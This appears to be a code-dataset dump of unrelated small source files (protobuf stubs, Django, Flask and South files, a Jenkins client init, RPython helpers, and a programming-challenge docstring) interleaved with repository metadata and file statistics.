\x01(\x01\x12\x13\n\x0binstitution\x18\n \x01(\t\x12\x0f\n\x07website\x18\x0b \x01(\t\x12\'\n\x08reply_to\x18\x0c \x01(\x0b\x32\x15.syft.core.io.Address"\xc7\x01\n\x12SearchUsersMessage\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x61\x64\x64ress\x18\x02 \x01(\x0b\x32\x15.syft.core.io.Address\x12\r\n\x05\x65mail\x18\x03 \x01(\t\x12\x0c\n\x04role\x18\x04 \x01(\t\x12\x0e\n\x06groups\x18\x05 \x01(\t\x12\x0c\n\x04name\x18\x06 \x01(\t\x12\'\n\x08reply_to\x18\x07 \x01(\x0b\x32\x15.syft.core.io.Address"\x8c\x01\n\x13SearchUsersResponse\x12%\n\x06msg_id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12&\n\x07\x63ontent\x18\x02 \x03(\x0b\x32\x15.syft.lib.python.Dict\x12&\n\x07\x61\x64\x64ress\x18\x03 \x01(\x0b\x32\x15.syft.core.io.Addressb\x06proto3'
)
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
_builder.BuildTopDescriptorsAndMessages(
DESCRIPTOR, "proto.grid.messages.user_messages_pb2", globals()
)
if _descriptor._USE_C_DESCRIPTORS == False:
DESCRIPTOR._options = None
_CREATEUSERMESSAGE._serialized_start = 161
_CREATEUSERMESSAGE._serialized_end = 432
_GETUSERMESSAGE._serialized_start = 435
_GETUSERMESSAGE._serialized_end = 588
_PROCESSUSERCANDIDATEMESSAGE._serialized_start = 591
_PROCESSUSERCANDIDATEMESSAGE._serialized_end = 778
_GETUSERRESPONSE._serialized_start = 781
_GETUSERRESPONSE._serialized_end = 917
_GETCANDIDATESMESSAGE._serialized_start = 920
_GETCANDIDATESMESSAGE._serialized_end = 1062
_GETCANDIDATESRESPONSE._serialized_start = 1065
_GETCANDIDATESRESPONSE._serialized_end = 1207
_GETUSERSMESSAGE._serialized_start = 1210
_GETUSERSMESSAGE._serialized_end = 1347
_GETUSERSRESPONSE._serialized_start = 1350
_GETUSERSRESPONSE._serialized_end = 1487
_DELETEUSERMESSAGE._serialized_start = 1490
_DELETEUSERMESSAGE._serialized_end = 1646
_UPDATEUSERMESSAGE._serialized_start = 1649
_UPDATEUSERMESSAGE._serialized_end = 1936
_SEARCHUSERSMESSAGE._serialized_start = 1939
_SEARCHUSERSMESSAGE._serialized_end = 2138
_SEARCHUSERSRESPONSE._serialized_start = 2141
_SEARCHUSERSRESPONSE._serialized_end = 2281
# @@protoc_insertion_point(module_scope)
| 106.881356
| 4,007
| 0.777038
| 1,077
| 6,306
| 4.402971
| 0.163417
| 0.030367
| 0.068326
| 0.098693
| 0.55019
| 0.524251
| 0.490089
| 0.440742
| 0.428511
| 0.427879
| 0
| 0.1822
| 0.055661
| 6,306
| 58
| 4,008
| 108.724138
| 0.614106
| 0.040913
| 0
| 0
| 1
| 0.162791
| 0.464877
| 0.453115
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.023256
| 0.162791
| 0
| 0.162791
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6a86cb0247dfa179692895c891a4c5fed5273b5b
| 224
|
py
|
Python
|
to_be_a_musician/to_be_a_musician/wsgi.py
|
romulojales/to-be-musician
|
6654051d275ee53cecc53f34874d959e5e6e4728
|
[
"Apache-2.0"
] | 1
|
2020-05-26T23:15:51.000Z
|
2020-05-26T23:15:51.000Z
|
to_be_a_musician/to_be_a_musician/wsgi.py
|
romulojales/to-be-musician
|
6654051d275ee53cecc53f34874d959e5e6e4728
|
[
"Apache-2.0"
] | null | null | null |
to_be_a_musician/to_be_a_musician/wsgi.py
|
romulojales/to-be-musician
|
6654051d275ee53cecc53f34874d959e5e6e4728
|
[
"Apache-2.0"
] | null | null | null |
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "to_be_a_musician.settings.development")
from django.core.wsgi import get_wsgi_application
from dj_static import Cling
application = Cling(get_wsgi_application())
| 24.888889
| 88
| 0.839286
| 32
| 224
| 5.5625
| 0.625
| 0.078652
| 0.202247
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.080357
| 224
| 8
| 89
| 28
| 0.864078
| 0
| 0
| 0
| 0
| 0
| 0.263393
| 0.263393
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.6
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
6a898d256e8c02525606079401b2b3d25b277174
| 290
|
py
|
Python
|
python/decorator/stacked_decorators.py
|
y2ghost/study
|
c5278611b0a732fe19e3d805c0c079e530b1d3b2
|
[
"MIT"
] | null | null | null |
python/decorator/stacked_decorators.py
|
y2ghost/study
|
c5278611b0a732fe19e3d805c0c079e530b1d3b2
|
[
"MIT"
] | null | null | null |
python/decorator/stacked_decorators.py
|
y2ghost/study
|
c5278611b0a732fe19e3d805c0c079e530b1d3b2
|
[
"MIT"
] | null | null | null |
def bold(func):
def wrapper():
return "<b>" + func() + "</b>"
return wrapper
def italic(func):
def wrapper():
return "<i>" + func() + "</i>"
return wrapper
# 装饰器函数是自底向上的顺序
@bold
@italic
def formatted_text():
return '格式化文本!'
print(formatted_text())
| 13.809524
| 38
| 0.565517
| 33
| 290
| 4.909091
| 0.393939
| 0.08642
| 0.17284
| 0.246914
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.258621
| 290
| 20
| 39
| 14.5
| 0.753488
| 0.044828
| 0
| 0.307692
| 0
| 0
| 0.072727
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.384615
| false
| 0
| 0
| 0.230769
| 0.769231
| 0.076923
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
0a82c303a8f595b7748b8b5a63c7e02ebf7321f2
| 30
|
py
|
Python
|
yc210/809.py
|
c-yan/yukicoder
|
cdbbd65402177225dd989df7fe01f67908484a69
|
[
"MIT"
] | null | null | null |
yc210/809.py
|
c-yan/yukicoder
|
cdbbd65402177225dd989df7fe01f67908484a69
|
[
"MIT"
] | null | null | null |
yc210/809.py
|
c-yan/yukicoder
|
cdbbd65402177225dd989df7fe01f67908484a69
|
[
"MIT"
] | null | null | null |
C = int(input())
print(1, C)
| 7.5
| 16
| 0.533333
| 6
| 30
| 2.666667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041667
| 0.2
| 30
| 3
| 17
| 10
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
0a9498695e635ec06a17c2d1e504878102e086db
| 238
|
py
|
Python
|
robottests/libraries/TestPythonpath2/testpythonpath2.py
|
nokia/crl-rfcli
|
c1a1459b2ebde2a0e187a440ca98e8273c0e7879
|
[
"BSD-3-Clause"
] | null | null | null |
robottests/libraries/TestPythonpath2/testpythonpath2.py
|
nokia/crl-rfcli
|
c1a1459b2ebde2a0e187a440ca98e8273c0e7879
|
[
"BSD-3-Clause"
] | 5
|
2019-03-12T09:37:14.000Z
|
2019-09-06T10:30:12.000Z
|
robottests/libraries/TestPythonpath2/testpythonpath2.py
|
nokia/crl-rfcli
|
c1a1459b2ebde2a0e187a440ca98e8273c0e7879
|
[
"BSD-3-Clause"
] | 2
|
2019-03-12T09:31:37.000Z
|
2019-07-29T12:27:48.000Z
|
__copyright__ = 'Copyright (C) 2019, Nokia'
class TestPythonpath2(object):
ROBOT_LIBRARY_SCOPE = "GLOBAL"
def __init__(self):
self.name = 'iina'
self.age = 10
def get_name2(self):
return self.name
| 17
| 43
| 0.62605
| 28
| 238
| 4.928571
| 0.75
| 0.115942
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.045977
| 0.268908
| 238
| 13
| 44
| 18.307692
| 0.747126
| 0
| 0
| 0
| 0
| 0
| 0.147059
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0.125
| 0.625
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
0a955b9b04c7fa2c1e358f4f8e060cf098550c95
| 174
|
py
|
Python
|
aiojenkins/__init__.py
|
lakiyi/aiojenkins
|
12bd43c6d79be664855a011fa86aedc735db307b
|
[
"MIT"
] | 19
|
2020-04-26T21:45:21.000Z
|
2022-03-07T16:13:12.000Z
|
aiojenkins/__init__.py
|
lakiyi/aiojenkins
|
12bd43c6d79be664855a011fa86aedc735db307b
|
[
"MIT"
] | 24
|
2020-04-23T20:05:10.000Z
|
2021-12-03T22:39:22.000Z
|
aiojenkins/__init__.py
|
lakiyi/aiojenkins
|
12bd43c6d79be664855a011fa86aedc735db307b
|
[
"MIT"
] | 5
|
2020-08-05T11:04:46.000Z
|
2022-01-10T01:45:43.000Z
|
from .exceptions import JenkinsError, JenkinsNotFoundError
from .jenkins import Jenkins
__version__ = '0.7.3'
__all__ = ('Jenkins', 'JenkinsError', 'JenkinsNotFoundError')
| 24.857143
| 61
| 0.781609
| 17
| 174
| 7.529412
| 0.647059
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.019355
| 0.109195
| 174
| 6
| 62
| 29
| 0.806452
| 0
| 0
| 0
| 0
| 0
| 0.252874
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0aa650646a00726ec76feafff41c1d0c0485d6de
| 1,071
|
py
|
Python
|
rpython/rtyper/lltypesystem/llheap.py
|
jptomo/pypy-lang-scheme
|
55edb2cec69d78f86793282a4566fcbc1ef9fcac
|
[
"MIT"
] | 381
|
2018-08-18T03:37:22.000Z
|
2022-02-06T23:57:36.000Z
|
rpython/rtyper/lltypesystem/llheap.py
|
jptomo/pypy-lang-scheme
|
55edb2cec69d78f86793282a4566fcbc1ef9fcac
|
[
"MIT"
] | 16
|
2018-09-22T18:12:47.000Z
|
2022-02-22T20:03:59.000Z
|
rpython/rtyper/lltypesystem/llheap.py
|
jptomo/pypy-lang-scheme
|
55edb2cec69d78f86793282a4566fcbc1ef9fcac
|
[
"MIT"
] | 30
|
2018-08-20T03:16:34.000Z
|
2022-01-12T17:39:22.000Z
|
# only for the LLInterpreter. Don't use directly.
from rpython.rtyper.lltypesystem.lltype import malloc, free, typeOf
from rpython.rtyper.lltypesystem.llmemory import weakref_create, weakref_deref
setfield = setattr
from operator import setitem as setarrayitem
from rpython.rlib.rgc import can_move, collect, add_memory_pressure
def setinterior(toplevelcontainer, inneraddr, INNERTYPE, newvalue,
offsets=None):
assert typeOf(newvalue) == INNERTYPE
# xxx access the address object's ref() directly for performance
inneraddr.ref()[0] = newvalue
from rpython.rtyper.lltypesystem.lltype import cast_ptr_to_int as gc_id
def weakref_create_getlazy(objgetter):
return weakref_create(objgetter())
def shrink_array(p, smallersize):
return False
def thread_run():
pass
def thread_start():
pass
def thread_die():
pass
def pin(obj):
return False
def unpin(obj):
raise AssertionError("pin() always returns False, "
"so unpin() should not be called")
def _is_pinned(obj):
return False
| 24.340909
| 78
| 0.73296
| 139
| 1,071
| 5.517986
| 0.611511
| 0.057366
| 0.066493
| 0.113429
| 0.10691
| 0.10691
| 0
| 0
| 0
| 0
| 0
| 0.001152
| 0.189542
| 1,071
| 43
| 79
| 24.906977
| 0.882488
| 0.103641
| 0
| 0.222222
| 0
| 0
| 0.061651
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 1
| 0.333333
| false
| 0.111111
| 0.185185
| 0.148148
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
0aae16799d317ddf83754753d4a7c5472480d034
| 555
|
py
|
Python
|
website/database.py
|
ceyeoh/fyp_doppler
|
4805378d57870560f8a8b450ec49b6c72a85962a
|
[
"MIT"
] | null | null | null |
website/database.py
|
ceyeoh/fyp_doppler
|
4805378d57870560f8a8b450ec49b6c72a85962a
|
[
"MIT"
] | null | null | null |
website/database.py
|
ceyeoh/fyp_doppler
|
4805378d57870560f8a8b450ec49b6c72a85962a
|
[
"MIT"
] | null | null | null |
from . import db
from flask_login import UserMixin
class User(db.Model, UserMixin):
id = db.Column(db.Integer, primary_key=True)
firstname = db.Column(db.String(128))
email = db.Column(db.String(128), unique=True)
password = db.Column(db.String(128))
appointments = db.relationship("Appointment")
class Appointment(db.Model):
id = db.Column(db.Integer, primary_key=True)
date = db.Column(db.String(32), nullable=False)
comment = db.Column(db.String(10240))
user_id = db.Column(db.Integer, db.ForeignKey("user.id"))
| 30.833333
| 61
| 0.700901
| 81
| 555
| 4.753086
| 0.382716
| 0.166234
| 0.207792
| 0.207792
| 0.368831
| 0.171429
| 0.171429
| 0.171429
| 0
| 0
| 0
| 0.034043
| 0.153153
| 555
| 17
| 62
| 32.647059
| 0.785106
| 0
| 0
| 0.153846
| 0
| 0
| 0.032432
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.076923
| 0.153846
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
0ac60083b3042529ab2b898a453bbecaa07179c1
| 4,039
|
py
|
Python
|
dpaste/migrations/0001_initial.py
|
sixfeetup/dpaste
|
99a3fcd3614dae207fffaec090487a57e46236f8
|
[
"MIT"
] | 1
|
2016-08-07T16:11:58.000Z
|
2016-08-07T16:11:58.000Z
|
dpaste/migrations/0001_initial.py
|
sandeepraju/dpaste
|
66203c18fe9ed6b2e1e4257a3c31757c017aed3c
|
[
"MIT"
] | null | null | null |
dpaste/migrations/0001_initial.py
|
sandeepraju/dpaste
|
66203c18fe9ed6b2e1e4257a3c31757c017aed3c
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Snippet'
db.create_table('dpaste_snippet', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('secret_id', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('title', self.gf('django.db.models.fields.CharField')(max_length=120, blank=True)),
('author', self.gf('django.db.models.fields.CharField')(max_length=30, blank=True)),
('content', self.gf('django.db.models.fields.TextField')()),
('content_highlighted', self.gf('django.db.models.fields.TextField')(blank=True)),
('lexer', self.gf('django.db.models.fields.CharField')(default='python', max_length=30)),
('published', self.gf('django.db.models.fields.DateTimeField')(blank=True)),
('expires', self.gf('django.db.models.fields.DateTimeField')(blank=True)),
('parent', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='children', null=True, to=orm['dpaste.Snippet'])),
('lft', self.gf('django.db.models.fields.PositiveIntegerField')(db_index=True)),
('rght', self.gf('django.db.models.fields.PositiveIntegerField')(db_index=True)),
('tree_id', self.gf('django.db.models.fields.PositiveIntegerField')(db_index=True)),
('level', self.gf('django.db.models.fields.PositiveIntegerField')(db_index=True)),
))
db.send_create_signal('dpaste', ['Snippet'])
# Adding model 'Spamword'
db.create_table('dpaste_spamword', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('word', self.gf('django.db.models.fields.CharField')(max_length=100)),
))
db.send_create_signal('dpaste', ['Spamword'])
def backwards(self, orm):
# Deleting model 'Snippet'
db.delete_table('dpaste_snippet')
# Deleting model 'Spamword'
db.delete_table('dpaste_spamword')
models = {
'dpaste.snippet': {
'Meta': {'ordering': "('-published',)", 'object_name': 'Snippet'},
'author': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'content': ('django.db.models.fields.TextField', [], {}),
'content_highlighted': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'expires': ('django.db.models.fields.DateTimeField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'lexer': ('django.db.models.fields.CharField', [], {'default': "'python'", 'max_length': '30'}),
'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'children'", 'null': 'True', 'to': "orm['dpaste.Snippet']"}),
'published': ('django.db.models.fields.DateTimeField', [], {'blank': 'True'}),
'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'secret_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '120', 'blank': 'True'}),
'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'})
},
'dpaste.spamword': {
'Meta': {'object_name': 'Spamword'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'word': ('django.db.models.fields.CharField', [], {'max_length': '100'})
}
}
complete_apps = ['dpaste']
| 58.536232
| 169
| 0.596187
| 441
| 4,039
| 5.358277
| 0.172336
| 0.111722
| 0.18959
| 0.270842
| 0.752433
| 0.730427
| 0.727888
| 0.611088
| 0.506136
| 0.397799
| 0
| 0.008568
| 0.190889
| 4,039
| 69
| 170
| 58.536232
| 0.714504
| 0.029463
| 0
| 0.107143
| 0
| 0
| 0.476628
| 0.306258
| 0
| 0
| 0
| 0
| 0
| 1
| 0.035714
| false
| 0
| 0.071429
| 0
| 0.160714
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0ad4f93ea2e470814a56579df53e76e962cbca9d
| 172
|
py
|
Python
|
mishift/mishift/views.py
|
TejasM/mishift
|
c92ff0732c5b25ec28a380efe0a4fc79ae980d1a
|
[
"MIT"
] | null | null | null |
mishift/mishift/views.py
|
TejasM/mishift
|
c92ff0732c5b25ec28a380efe0a4fc79ae980d1a
|
[
"MIT"
] | null | null | null |
mishift/mishift/views.py
|
TejasM/mishift
|
c92ff0732c5b25ec28a380efe0a4fc79ae980d1a
|
[
"MIT"
] | null | null | null |
from django.contrib.auth import logout
from django.shortcuts import redirect
__author__ = 'tmehta'
def logout_user(request):
logout(request)
return redirect('/')
| 19.111111
| 38
| 0.755814
| 21
| 172
| 5.952381
| 0.666667
| 0.16
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151163
| 172
| 9
| 39
| 19.111111
| 0.856164
| 0
| 0
| 0
| 0
| 0
| 0.040462
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
0ae9089f762d6fea512ff736a92c18ce30598c07
| 48
|
py
|
Python
|
cpims/cpovc_forms/__init__.py
|
sizler20/cpims_update
|
23b86e40ca779b751383e268ad4fbf6a321ab211
|
[
"MIT"
] | null | null | null |
cpims/cpovc_forms/__init__.py
|
sizler20/cpims_update
|
23b86e40ca779b751383e268ad4fbf6a321ab211
|
[
"MIT"
] | null | null | null |
cpims/cpovc_forms/__init__.py
|
sizler20/cpims_update
|
23b86e40ca779b751383e268ad4fbf6a321ab211
|
[
"MIT"
] | 1
|
2022-02-27T13:36:47.000Z
|
2022-02-27T13:36:47.000Z
|
default_app_config = 'cpims.apps.FormsAppConfig'
| 48
| 48
| 0.854167
| 6
| 48
| 6.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041667
| 48
| 1
| 48
| 48
| 0.847826
| 0
| 0
| 0
| 0
| 0
| 0.510204
| 0.510204
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
e403a3dfd27bfd65d490a06a6015f838f2af73de
| 124
|
py
|
Python
|
env3.10/lib/python3.10/site-packages/iso8601/__init__.py
|
slmaankhaan/todo_app
|
4e5a81a789e02be84525682f3ec5d0bfc3d91e8d
|
[
"MIT"
] | 3
|
2022-02-21T11:40:21.000Z
|
2022-02-27T07:37:31.000Z
|
env3.10/lib/python3.10/site-packages/iso8601/__init__.py
|
slmaankhaan/todo_app
|
4e5a81a789e02be84525682f3ec5d0bfc3d91e8d
|
[
"MIT"
] | 9
|
2022-02-21T11:44:01.000Z
|
2022-03-14T15:36:08.000Z
|
SW_test/venv/Lib/site-packages/iso8601/__init__.py
|
park-sohyeon/Senior-Project
|
8dca971f71069e37bc6415dd53573bad3b9e9f61
|
[
"MIT"
] | null | null | null |
from .iso8601 import UTC, FixedOffset, ParseError, parse_date
__all__ = ["parse_date", "ParseError", "UTC", "FixedOffset"]
| 31
| 61
| 0.741935
| 14
| 124
| 6.142857
| 0.642857
| 0.325581
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.036364
| 0.112903
| 124
| 3
| 62
| 41.333333
| 0.745455
| 0
| 0
| 0
| 0
| 0
| 0.274194
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
e40781af88166625092a174888e8fd964efa0d46
| 148
|
py
|
Python
|
extensions/events.py
|
DavidByrne98/Liff
|
c26af59c3117a8cafd12871e6ebe2ac3be6f06e5
|
[
"MIT"
] | null | null | null |
extensions/events.py
|
DavidByrne98/Liff
|
c26af59c3117a8cafd12871e6ebe2ac3be6f06e5
|
[
"MIT"
] | null | null | null |
extensions/events.py
|
DavidByrne98/Liff
|
c26af59c3117a8cafd12871e6ebe2ac3be6f06e5
|
[
"MIT"
] | null | null | null |
import hikari
import lightbulb
info_plugin = lightbulb.Plugin("Events")
def load(bot: lightbulb.BotApp) -> None:
bot.add_plugin(info_plugin)
| 16.444444
| 40
| 0.756757
| 20
| 148
| 5.45
| 0.6
| 0.183486
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135135
| 148
| 8
| 41
| 18.5
| 0.851563
| 0
| 0
| 0
| 0
| 0
| 0.040816
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7c4a96de561dd3a282beccf896f0f1d31ef8fde0
| 3,954
|
py
|
Python
|
DailyProgrammer/DP20141212B.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | 2
|
2020-12-23T18:59:22.000Z
|
2021-04-14T13:16:09.000Z
|
DailyProgrammer/DP20141212B.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
DailyProgrammer/DP20141212B.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
"""
[2014-12-3] Challenge #191 [Intermediate] Space Probe. Alright Alright Alright.
https://www.reddit.com/r/dailyprogrammer/comments/2o5tb7/2014123_challenge_191_intermediate_space_probe/
#Description:
NASA has contracted you to program the AI of a new probe. This new probe must navigate space from a starting location
to an end location. The probe will have to deal with Asteroids and Gravity Wells. Hopefully it can find the shortest
path.
#Map and Path:
This challenge requires you to establish a random map for the challenge. Then you must navigate a probe from a starting
location to an end location.
#Map:
You are given N -- you generate a NxN 2-D map (yes space is 3-D but for this challenge we are working in 2-D space)
* 30% of the spots are "A" asteroids
* 10% of the spots are "G" gravity wells (explained below)
* 60% of the spots are "." empty space.
When you generate the map you must figure out how many of each spaces is needed to fill the map. The map must then be
randomly populated to hold the amount of Gravity Wells and Asteroids based on N and the above percentages.
## N and Obstacles
As n changes so does the design of your random space map. Truncate the amount of obstacles and its always a min size of
1. (So say N is 11 so 121 spaces. At 10% for wells you need 12.1 or just 12 spots) N can be between 2 and 1000. To keep
it simple you will assume every space is empty then populate the random Asteroids and Gravity wells (no need to compute
the number of empty spaces - they will just be the ones not holding a gravity well or asteroid)
## Asteroids
Probes cannot enter the space of an Asteroid. It will just be destroyed.
## Empty Spaces
Probes can safely cross space by the empty spaces of space. Beware of gravity wells as described below.
## Gravity Wells
Gravity wells are interesting. The Space itself is so dense it cannot be travelled in. The adjacent spaces of a Gravity
well are too strong and cannot be travelled in. Therefore you might see this.
. = empty space, G = gravity well
.....
.....
..G..
.....
.....
But due to the gravity you cannot pass (X = unsafe)
.....
.XXX.
.XGX.
.XXX.
.....
You might get Gravity wells next to each other. They do not effect each other but keep in mind the area around them
will not be safe to travel in.
......
.XXXX.
.XGGX.
.XXXX.
......
#Probe Movement:
Probes can move 8 directions. Up, down, left, right or any of the 4 adjacent corners. However there is no map wrapping.
Say you are at the top of the map you cannot move up to appear on the bottom of the map. Probes cannot fold space. And
for whatever reason we are contained to only the spots on the map even thou space is infinite in any direction.
#Output:
Must show the final Map and shortest safe route on the map.
* . = empty space
* S = start location
* E = end location
* G = gravity well
* A = Asteroid
* O = Path.
If you fail to get to the end because of no valid path you must travel as far as you can and show the path. Note that
the probe path was terminated early due to "No Complete Path" error.
#Challenge Input:
using (row, col) for coordinates in space.
Find solutions for:
* N = 10, start = (0,0) end = (9,9)
* N = 10, start = (9, 0) end = (0, 9)
* N= 50, start = (0,0) end = (49, 49)
#Map Obstacle %
I generated a bunch of maps and due to randomness you will get easy ones or hard ones. I suggest running your solutions
many times to see your outcomes. If you find the solution is always very straight then I would increase your asteroid
and gravity well percentages. Or if you never get a good route then decrease the obstacle percentages.
#Challenge Theme Music:
If you need inspiration for working on this solution listen to this in the background to help you.
https://www.youtube.com/watch?v=4PL4kzsrVX8
Or
https://www.youtube.com/watch?v=It4WxQ6dnn0
"""
def main():
pass
if __name__ == "__main__":
main()
| 44.426966
| 119
| 0.730653
| 693
| 3,954
| 4.150072
| 0.376623
| 0.03338
| 0.010431
| 0.013561
| 0.065369
| 0.041725
| 0.025035
| 0.025035
| 0
| 0
| 0
| 0.024738
| 0.20258
| 3,954
| 88
| 120
| 44.931818
| 0.887409
| 0.981791
| 0
| 0
| 0
